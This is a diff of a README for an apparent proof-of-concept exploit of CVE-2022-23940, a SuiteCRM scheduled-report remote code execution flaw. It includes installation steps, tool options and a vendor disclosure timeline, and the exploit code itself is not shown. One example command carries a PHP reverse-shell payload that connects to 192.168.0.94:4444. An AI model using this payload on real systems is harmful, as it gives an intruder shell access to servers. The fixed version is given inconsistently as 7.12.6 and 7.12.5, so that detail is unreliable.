Updated README

README.md

@@ -1,7 +1,58 @@
 # CVE-2022-23940
 
-PoC for [CVE-2022-23940](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23940) aka _SCRMBT-#187_ - Authenticated Remote Code Execution through Scheduled Reports in SuiteCRM (<= 7.12.4) and SuiteCRM-Core (<= 8.0.3)
+PoC for [CVE-2022-23940](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23940) aka _SCRMBT-#187_ - Authenticated Remote Code Execution through Scheduled Reports in SuiteCRM (<= 7.12.4) and SuiteCRM-Core (<= 8.0.3).
+
+This vulnerability was reported to SalesAgility in fixed in SuiteCRM 7.12.6 and SuiteCRM Core 8.0.4. If you are using older versions of SuiteCRM, I highly advise you to update.
 
 ```bash
 ./exploit.py -u user -p bitnami --payload "php -r '\$sock=fsockopen(\"192.168.0.94\",4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
 ```
+
+## Usage
+
+**Installation**
+
+1. Make sure to have a recent version of `python3` and `pip` installed.
+2. Clone the repo: `git clone https://github.com/manuelz120/CVE-2022-23940.git`
+3. Install the required libraries `pip3 install -r "requirements.txt"`
+4. Enjoy :)
+
+**Available options:**
+
+```
+(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
+Usage: exploit.py [OPTIONS]
+
+Options:
+  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
+                         http://localhost
+  -u, --username TEXT    Username
+  -p, --password TEXT    password
+  -P, --payload TEXT     Shell command to be executed on target system
+  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
+  --help                 Show this message and exit.
+
+  https://github.com/manuelz120/CVE-2022-23940
+```
+
+**Example usage:**
+
+TODO
+
+## Writeup
+
+TODO
+
+## Implemented fix
+
+TODO
+
+## Timeline
+
+- 24/01/2022: Vulnerability discovered and reported to SuiteCRM
+- 25/02/2022: Vulnerability confirmed by vendor (SalesAgility)
+- 02/03/2022: Release of fixed versions ([SuiteCRM 7.12.5](https://docs.suitecrm.com/admin/releases/7.12.x/) and [SuiteCRM Core 8.0.4](https://docs.suitecrm.com/8.x/admin/releases/8.0/))
+
+## Credits
+
+- [phpggc](https://github.com/ambionics/phpggc)